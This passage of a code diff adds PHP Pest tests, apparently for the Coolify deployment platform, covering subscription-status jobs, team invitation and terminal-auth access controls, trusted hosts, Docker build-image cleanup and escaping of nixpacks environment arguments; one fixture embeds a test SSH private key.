config()->set('constants.coolify.self_hosted', false);
|
||||
config()->set('subscription.provider', 'stripe');
|
||||
config()->set('subscription.stripe_api_key', 'sk_test_fake');
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->subscription = Subscription::create([
|
||||
'team_id' => $this->team->id,
|
||||
'stripe_subscription_id' => 'sub_verify_123',
|
||||
'stripe_customer_id' => 'cus_verify_123',
|
||||
'stripe_invoice_paid' => true,
|
||||
'stripe_past_due' => false,
|
||||
]);
|
||||
});
|
||||
|
||||
test('subscriptionEnded is called for unpaid status', function () {
|
||||
$mockStripe = Mockery::mock(StripeClient::class);
|
||||
$mockSubscriptions = Mockery::mock(SubscriptionService::class);
|
||||
$mockStripe->subscriptions = $mockSubscriptions;
|
||||
|
||||
$mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_verify_123')
|
||||
->andReturn((object) [
|
||||
'status' => 'unpaid',
|
||||
'cancel_at_period_end' => false,
|
||||
]);
|
||||
|
||||
app()->bind(StripeClient::class, fn () => $mockStripe);
|
||||
|
||||
// Create a server to verify it gets disabled
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
$job = new VerifyStripeSubscriptionStatusJob($this->subscription);
|
||||
$job->handle();
|
||||
|
||||
$this->subscription->refresh();
|
||||
expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
|
||||
expect($this->subscription->stripe_subscription_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('subscriptionEnded is called for incomplete_expired status', function () {
|
||||
$mockStripe = Mockery::mock(StripeClient::class);
|
||||
$mockSubscriptions = Mockery::mock(SubscriptionService::class);
|
||||
$mockStripe->subscriptions = $mockSubscriptions;
|
||||
|
||||
$mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_verify_123')
|
||||
->andReturn((object) [
|
||||
'status' => 'incomplete_expired',
|
||||
'cancel_at_period_end' => false,
|
||||
]);
|
||||
|
||||
app()->bind(StripeClient::class, fn () => $mockStripe);
|
||||
|
||||
$job = new VerifyStripeSubscriptionStatusJob($this->subscription);
|
||||
$job->handle();
|
||||
|
||||
$this->subscription->refresh();
|
||||
expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
|
||||
expect($this->subscription->stripe_subscription_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('subscriptionEnded is called for canceled status', function () {
|
||||
$mockStripe = Mockery::mock(StripeClient::class);
|
||||
$mockSubscriptions = Mockery::mock(SubscriptionService::class);
|
||||
$mockStripe->subscriptions = $mockSubscriptions;
|
||||
|
||||
$mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_verify_123')
|
||||
->andReturn((object) [
|
||||
'status' => 'canceled',
|
||||
'cancel_at_period_end' => false,
|
||||
]);
|
||||
|
||||
app()->bind(StripeClient::class, fn () => $mockStripe);
|
||||
|
||||
$job = new VerifyStripeSubscriptionStatusJob($this->subscription);
|
||||
$job->handle();
|
||||
|
||||
$this->subscription->refresh();
|
||||
expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
|
||||
expect($this->subscription->stripe_subscription_id)->toBeNull();
|
||||
});
|
||||
@@ -0,0 +1,147 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Team;
|
||||
use App\Models\TeamInvitation;
|
||||
use App\Models\User;
|
||||
use Illuminate\Cookie\Middleware\EncryptCookies;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create(['email' => 'invited@example.com']);
|
||||
|
||||
$this->invitation = TeamInvitation::create([
|
||||
'team_id' => $this->team->id,
|
||||
'uuid' => 'test-invitation-uuid',
|
||||
'email' => 'invited@example.com',
|
||||
'role' => 'member',
|
||||
'link' => url('/invitations/test-invitation-uuid'),
|
||||
'via' => 'link',
|
||||
]);
|
||||
});
|
||||
|
||||
test('GET invitation shows landing page without accepting', function () {
|
||||
$this->actingAs($this->user);
|
||||
|
||||
$response = $this->get('/invitations/test-invitation-uuid');
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertViewIs('invitation.accept');
|
||||
$response->assertSee($this->team->name);
|
||||
$response->assertSee('Accept Invitation');
|
||||
|
||||
// Invitation should NOT be deleted (not accepted yet)
|
||||
$this->assertDatabaseHas('team_invitations', [
|
||||
'uuid' => 'test-invitation-uuid',
|
||||
]);
|
||||
|
||||
// User should NOT be added to the team
|
||||
expect($this->user->teams()->where('team_id', $this->team->id)->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('GET invitation with reset-password query param does not reset password', function () {
|
||||
$this->actingAs($this->user);
|
||||
$originalPassword = $this->user->password;
|
||||
|
||||
$response = $this->get('/invitations/test-invitation-uuid?reset-password=1');
|
||||
|
||||
$response->assertStatus(200);
|
||||
|
||||
// Password should NOT be changed
|
||||
$this->user->refresh();
|
||||
expect($this->user->password)->toBe($originalPassword);
|
||||
|
||||
// Invitation should NOT be accepted
|
||||
$this->assertDatabaseHas('team_invitations', [
|
||||
'uuid' => 'test-invitation-uuid',
|
||||
]);
|
||||
});
|
||||
|
||||
test('POST invitation accepts and adds user to team', function () {
|
||||
$this->actingAs($this->user);
|
||||
|
||||
$response = $this->post('/invitations/test-invitation-uuid');
|
||||
|
||||
$response->assertRedirect(route('team.index'));
|
||||
|
||||
// Invitation should be deleted
|
||||
$this->assertDatabaseMissing('team_invitations', [
|
||||
'uuid' => 'test-invitation-uuid',
|
||||
]);
|
||||
|
||||
// User should be added to the team
|
||||
expect($this->user->teams()->where('team_id', $this->team->id)->exists())->toBeTrue();
|
||||
});
|
||||
|
||||
test('POST invitation without CSRF token is rejected', function () {
|
||||
$this->actingAs($this->user);
|
||||
|
||||
$response = $this->withoutMiddleware(EncryptCookies::class)
|
||||
->post('/invitations/test-invitation-uuid', [], [
|
||||
'X-CSRF-TOKEN' => 'invalid-token',
|
||||
]);
|
||||
|
||||
// Should be rejected with 419 (CSRF token mismatch)
|
||||
$response->assertStatus(419);
|
||||
|
||||
// Invitation should NOT be accepted
|
||||
$this->assertDatabaseHas('team_invitations', [
|
||||
'uuid' => 'test-invitation-uuid',
|
||||
]);
|
||||
});
|
||||
|
||||
test('unauthenticated user cannot view invitation', function () {
|
||||
$response = $this->get('/invitations/test-invitation-uuid');
|
||||
|
||||
$response->assertRedirect();
|
||||
});
|
||||
|
||||
test('wrong user cannot view invitation', function () {
|
||||
$otherUser = User::factory()->create(['email' => 'other@example.com']);
|
||||
$this->actingAs($otherUser);
|
||||
|
||||
$response = $this->get('/invitations/test-invitation-uuid');
|
||||
|
||||
$response->assertStatus(400);
|
||||
});
|
||||
|
||||
test('wrong user cannot accept invitation via POST', function () {
|
||||
$otherUser = User::factory()->create(['email' => 'other@example.com']);
|
||||
$this->actingAs($otherUser);
|
||||
|
||||
$response = $this->post('/invitations/test-invitation-uuid');
|
||||
|
||||
$response->assertStatus(400);
|
||||
|
||||
// Invitation should still exist
|
||||
$this->assertDatabaseHas('team_invitations', [
|
||||
'uuid' => 'test-invitation-uuid',
|
||||
]);
|
||||
});
|
||||
|
||||
test('GET revoke route no longer exists', function () {
|
||||
$this->actingAs($this->user);
|
||||
|
||||
$response = $this->get('/invitations/test-invitation-uuid/revoke');
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
|
||||
test('POST invitation for already-member user deletes invitation without duplicating', function () {
|
||||
$this->user->teams()->attach($this->team->id, ['role' => 'member']);
|
||||
$this->actingAs($this->user);
|
||||
|
||||
$response = $this->post('/invitations/test-invitation-uuid');
|
||||
|
||||
$response->assertRedirect(route('team.index'));
|
||||
|
||||
// Invitation should be deleted
|
||||
$this->assertDatabaseMissing('team_invitations', [
|
||||
'uuid' => 'test-invitation-uuid',
|
||||
]);
|
||||
|
||||
// User should still have exactly one membership in this team
|
||||
expect($this->user->teams()->where('team_id', $this->team->id)->count())->toBe(1);
|
||||
});
|
||||
@@ -0,0 +1,53 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config()->set('constants.coolify.self_hosted', true);
|
||||
});
|
||||
|
||||
it('returns server limit when team is passed directly without session', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$limit = Team::serverLimit($team);
|
||||
|
||||
// self_hosted returns 999999999999
|
||||
expect($limit)->toBe(999999999999);
|
||||
});
|
||||
|
||||
it('returns 0 when no team is provided and no session exists', function () {
|
||||
$limit = Team::serverLimit();
|
||||
|
||||
expect($limit)->toBe(0);
|
||||
});
|
||||
|
||||
it('returns true for serverLimitReached when no team and no session', function () {
|
||||
$result = Team::serverLimitReached();
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('returns false for serverLimitReached when team has servers under limit', function () {
|
||||
$team = Team::factory()->create();
|
||||
Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
$result = Team::serverLimitReached($team);
|
||||
|
||||
// self_hosted has very high limit, 1 server is well under
|
||||
expect($result)->toBeFalse();
|
||||
});
|
||||
|
||||
it('returns true for serverLimitReached when team has servers at limit', function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
|
||||
$team = Team::factory()->create(['custom_server_limit' => 1]);
|
||||
Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
$result = Team::serverLimitReached($team);
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
@@ -0,0 +1,51 @@
|
||||
<?php
|
||||
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config()->set('app.env', 'local');
|
||||
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
it('includes development terminal host aliases for authenticated users', function () {
|
||||
Server::factory()->create([
|
||||
'name' => 'Localhost',
|
||||
'ip' => 'coolify-testing-host',
|
||||
'team_id' => $this->team->id,
|
||||
'private_key_id' => $this->privateKey->id,
|
||||
]);
|
||||
|
||||
$response = $this->postJson('/terminal/auth/ips');
|
||||
|
||||
$response->assertSuccessful();
|
||||
$response->assertJsonPath('ipAddresses.0', 'coolify-testing-host');
|
||||
|
||||
expect($response->json('ipAddresses'))
|
||||
->toContain('coolify-testing-host')
|
||||
->toContain('localhost')
|
||||
->toContain('127.0.0.1')
|
||||
->toContain('host.docker.internal');
|
||||
});
|
||||
@@ -0,0 +1,118 @@
|
||||
<?php
|
||||
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config()->set('app.env', 'local');
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
|
||||
$this->privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
Server::factory()->create([
|
||||
'name' => 'Test Server',
|
||||
'ip' => 'coolify-testing-host',
|
||||
'team_id' => $this->team->id,
|
||||
'private_key_id' => $this->privateKey->id,
|
||||
]);
|
||||
});
|
||||
|
||||
// --- POST /terminal/auth ---
|
||||
|
||||
it('denies unauthenticated users on POST /terminal/auth', function () {
|
||||
$this->postJson('/terminal/auth')
|
||||
->assertStatus(401);
|
||||
});
|
||||
|
||||
it('denies non-admin team members on POST /terminal/auth', function () {
|
||||
$member = User::factory()->create();
|
||||
$member->teams()->attach($this->team, ['role' => 'member']);
|
||||
|
||||
$this->actingAs($member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->postJson('/terminal/auth')
|
||||
->assertStatus(403);
|
||||
});
|
||||
|
||||
it('allows team owners on POST /terminal/auth', function () {
|
||||
$owner = User::factory()->create();
|
||||
$owner->teams()->attach($this->team, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->postJson('/terminal/auth')
|
||||
->assertStatus(200)
|
||||
->assertJson(['authenticated' => true]);
|
||||
});
|
||||
|
||||
it('allows team admins on POST /terminal/auth', function () {
|
||||
$admin = User::factory()->create();
|
||||
$admin->teams()->attach($this->team, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($admin);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->postJson('/terminal/auth')
|
||||
->assertStatus(200)
|
||||
->assertJson(['authenticated' => true]);
|
||||
});
|
||||
|
||||
// --- POST /terminal/auth/ips ---
|
||||
|
||||
it('denies unauthenticated users on POST /terminal/auth/ips', function () {
|
||||
$this->postJson('/terminal/auth/ips')
|
||||
->assertStatus(401);
|
||||
});
|
||||
|
||||
it('denies non-admin team members on POST /terminal/auth/ips', function () {
|
||||
$member = User::factory()->create();
|
||||
$member->teams()->attach($this->team, ['role' => 'member']);
|
||||
|
||||
$this->actingAs($member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->postJson('/terminal/auth/ips')
|
||||
->assertStatus(403);
|
||||
});
|
||||
|
||||
it('allows team owners on POST /terminal/auth/ips', function () {
|
||||
$owner = User::factory()->create();
|
||||
$owner->teams()->attach($this->team, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->postJson('/terminal/auth/ips')
|
||||
->assertStatus(200)
|
||||
->assertJsonStructure(['ipAddresses']);
|
||||
});
|
||||
|
||||
it('allows team admins on POST /terminal/auth/ips', function () {
|
||||
$admin = User::factory()->create();
|
||||
$admin->teams()->attach($this->team, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($admin);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->postJson('/terminal/auth/ips')
|
||||
->assertStatus(200)
|
||||
->assertJsonStructure(['ipAddresses']);
|
||||
});
|
||||
@@ -286,6 +286,56 @@ it('skips host validation for API routes', function () {
|
||||
expect($response->status())->not->toBe(400);
|
||||
});
|
||||
|
||||
it('trusts localhost when FQDN is configured', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('localhost');
|
||||
});
|
||||
|
||||
it('trusts 127.0.0.1 when FQDN is configured', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('127.0.0.1');
|
||||
});
|
||||
|
||||
it('trusts IPv6 loopback when FQDN is configured', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('[::1]');
|
||||
});
|
||||
|
||||
it('allows local access via localhost when FQDN is configured and request uses localhost host header', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$response = $this->get('/', [
|
||||
'Host' => 'localhost',
|
||||
]);
|
||||
|
||||
// Should NOT be rejected as untrusted host (would be 400)
|
||||
expect($response->status())->not->toBe(400);
|
||||
});
|
||||
|
||||
it('skips host validation for webhook endpoints', function () {
|
||||
// All webhook routes are under /webhooks/* prefix (see RouteServiceProvider)
|
||||
// and use cryptographic signature validation instead of host validation
|
||||
|
||||
@@ -8,9 +8,7 @@ afterEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
it('categorizes images correctly into PR and regular images', function () {
|
||||
// Test the image categorization logic
|
||||
// Build images (*-build) are excluded from retention and handled by docker image prune
|
||||
it('categorizes images correctly into PR, build, and regular images', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'abc123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:abc123'],
|
||||
['repository' => 'app-uuid', 'tag' => 'def456', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:def456'],
|
||||
@@ -25,6 +23,11 @@ it('categorizes images correctly into PR and regular images', function () {
|
||||
expect($prImages)->toHaveCount(2);
|
||||
expect($prImages->pluck('tag')->toArray())->toContain('pr-123', 'pr-456');
|
||||
|
||||
// Build images (tags ending with '-build', excluding PR builds)
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
expect($buildImages)->toHaveCount(2);
|
||||
expect($buildImages->pluck('tag')->toArray())->toContain('abc123-build', 'def456-build');
|
||||
|
||||
// Regular images (neither PR nor build) - these are subject to retention policy
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
expect($regularImages)->toHaveCount(2);
|
||||
@@ -340,3 +343,128 @@ it('protects current infrastructure images from any registry even when no applic
|
||||
// Other images should not be protected
|
||||
expect(preg_match($pattern, 'nginx:alpine'))->toBe(0);
|
||||
});
|
||||
|
||||
it('deletes build images not matching retained regular images', function () {
|
||||
// Simulates the Nixpacks scenario from issue #8765:
|
||||
// Many -build images accumulate because they were excluded from both cleanup paths
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit4', 'created_at' => '2024-01-04 10:00:00', 'image_ref' => 'app-uuid:commit4'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit5', 'created_at' => '2024-01-05 10:00:00', 'image_ref' => 'app-uuid:commit5'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit3-build', 'created_at' => '2024-01-03 09:00:00', 'image_ref' => 'app-uuid:commit3-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit4-build', 'created_at' => '2024-01-04 09:00:00', 'image_ref' => 'app-uuid:commit4-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit5-build', 'created_at' => '2024-01-05 09:00:00', 'image_ref' => 'app-uuid:commit5-build'],
|
||||
]);
|
||||
|
||||
$currentTag = 'commit5';
|
||||
$imagesToKeep = 2;
|
||||
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
|
||||
$sortedRegularImages = $regularImages
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
// Determine kept tags: current + N newest rollback
|
||||
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
|
||||
if (! empty($currentTag)) {
|
||||
$keptTags = $keptTags->push($currentTag);
|
||||
}
|
||||
|
||||
// Kept tags should be: commit5 (running), commit4, commit3 (2 newest rollback)
|
||||
expect($keptTags->toArray())->toContain('commit5', 'commit4', 'commit3');
|
||||
|
||||
// Build images to delete: those whose base tag is NOT in keptTags
|
||||
$buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
|
||||
return ! $keptTags->contains($baseTag);
|
||||
});
|
||||
|
||||
// Should delete commit1-build and commit2-build (their base tags are not kept)
|
||||
expect($buildImagesToDelete)->toHaveCount(2);
|
||||
expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build', 'commit2-build');
|
||||
|
||||
// Should keep commit3-build, commit4-build, commit5-build (matching retained images)
|
||||
$buildImagesToKeep = $buildImages->filter(function ($image) use ($keptTags) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
|
||||
return $keptTags->contains($baseTag);
|
||||
});
|
||||
expect($buildImagesToKeep)->toHaveCount(3);
|
||||
expect($buildImagesToKeep->pluck('tag')->toArray())->toContain('commit5-build', 'commit4-build', 'commit3-build');
|
||||
});
|
||||
|
||||
it('deletes all build images when retention is disabled', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'],
|
||||
]);
|
||||
|
||||
$currentTag = 'commit2';
|
||||
$imagesToKeep = 0; // Retention disabled
|
||||
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
|
||||
$sortedRegularImages = $regularImages
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
// With imagesToKeep=0, only current tag is kept
|
||||
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
|
||||
if (! empty($currentTag)) {
|
||||
$keptTags = $keptTags->push($currentTag);
|
||||
}
|
||||
|
||||
$buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
|
||||
return ! $keptTags->contains($baseTag);
|
||||
});
|
||||
|
||||
// commit1-build should be deleted (not retained), commit2-build kept (matches running)
|
||||
expect($buildImagesToDelete)->toHaveCount(1);
|
||||
expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build');
|
||||
});
|
||||
|
||||
it('preserves build image for currently running tag', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
|
||||
]);
|
||||
|
||||
$currentTag = 'commit1';
|
||||
$imagesToKeep = 2;
|
||||
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
|
||||
$sortedRegularImages = $regularImages
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
|
||||
if (! empty($currentTag)) {
|
||||
$keptTags = $keptTags->push($currentTag);
|
||||
}
|
||||
|
||||
$buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
|
||||
return ! $keptTags->contains($baseTag);
|
||||
});
|
||||
|
||||
// Build image for running tag should NOT be deleted
|
||||
expect($buildImagesToDelete)->toHaveCount(0);
|
||||
});
|
||||
@@ -3,7 +3,6 @@
|
||||
use App\Models\Application;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use Mockery;
|
||||
|
||||
/**
|
||||
* Unit test to verify docker_compose_raw is properly synced to the Livewire component
|
||||
|
||||
@@ -88,11 +88,11 @@ it('filters out null environment variables from nixpacks build command', functio
|
||||
$envArgsProperty->setAccessible(true);
|
||||
$envArgs = $envArgsProperty->getValue($job);
|
||||
|
||||
// Verify that only valid environment variables are included
|
||||
expect($envArgs)->toContain('--env VALID_VAR=valid_value');
|
||||
expect($envArgs)->toContain('--env ANOTHER_VALID_VAR=another_value');
|
||||
expect($envArgs)->toContain('--env COOLIFY_FQDN=example.com');
|
||||
expect($envArgs)->toContain('--env SOURCE_COMMIT=abc123');
|
||||
// Verify that only valid environment variables are included (values are now single-quote escaped)
|
||||
expect($envArgs)->toContain("--env 'VALID_VAR=valid_value'");
|
||||
expect($envArgs)->toContain("--env 'ANOTHER_VALID_VAR=another_value'");
|
||||
expect($envArgs)->toContain("--env 'COOLIFY_FQDN=example.com'");
|
||||
expect($envArgs)->toContain("--env 'SOURCE_COMMIT=abc123'");
|
||||
|
||||
// Verify that null and empty environment variables are filtered out
|
||||
expect($envArgs)->not->toContain('NULL_VAR');
|
||||
@@ -102,7 +102,7 @@ it('filters out null environment variables from nixpacks build command', functio
|
||||
|
||||
// Verify no environment variables end with just '=' (which indicates null/empty value)
|
||||
expect($envArgs)->not->toMatch('/--env [A-Z_]+=$/');
|
||||
expect($envArgs)->not->toMatch('/--env [A-Z_]+= /');
|
||||
expect($envArgs)->not->toMatch("/--env '[A-Z_]+='$/");
|
||||
});
|
||||
|
||||
it('filters out null environment variables from nixpacks preview deployments', function () {
|
||||
@@ -164,9 +164,9 @@ it('filters out null environment variables from nixpacks preview deployments', f
|
||||
$envArgsProperty->setAccessible(true);
|
||||
$envArgs = $envArgsProperty->getValue($job);
|
||||
|
||||
// Verify that only valid environment variables are included
|
||||
expect($envArgs)->toContain('--env PREVIEW_VAR=preview_value');
|
||||
expect($envArgs)->toContain('--env COOLIFY_FQDN=preview.example.com');
|
||||
// Verify that only valid environment variables are included (values are now single-quote escaped)
|
||||
expect($envArgs)->toContain("--env 'PREVIEW_VAR=preview_value'");
|
||||
expect($envArgs)->toContain("--env 'COOLIFY_FQDN=preview.example.com'");
|
||||
|
||||
// Verify that null environment variables are filtered out
|
||||
expect($envArgs)->not->toContain('NULL_PREVIEW_VAR');
|
||||
@@ -236,6 +236,48 @@ it('handles all environment variables being null or empty', function () {
|
||||
expect($envArgs)->toBe('');
|
||||
});
|
||||
|
||||
it('filters out null coolify env variables from env_args used in nixpacks plan JSON', function () {
|
||||
// This test verifies the fix for GitHub issue #6830:
|
||||
// When application->fqdn is null, COOLIFY_FQDN/COOLIFY_URL get set to null
|
||||
// in generate_coolify_env_variables(). The generate_env_variables() method
|
||||
// merges these into env_args which become the nixpacks plan JSON "variables".
|
||||
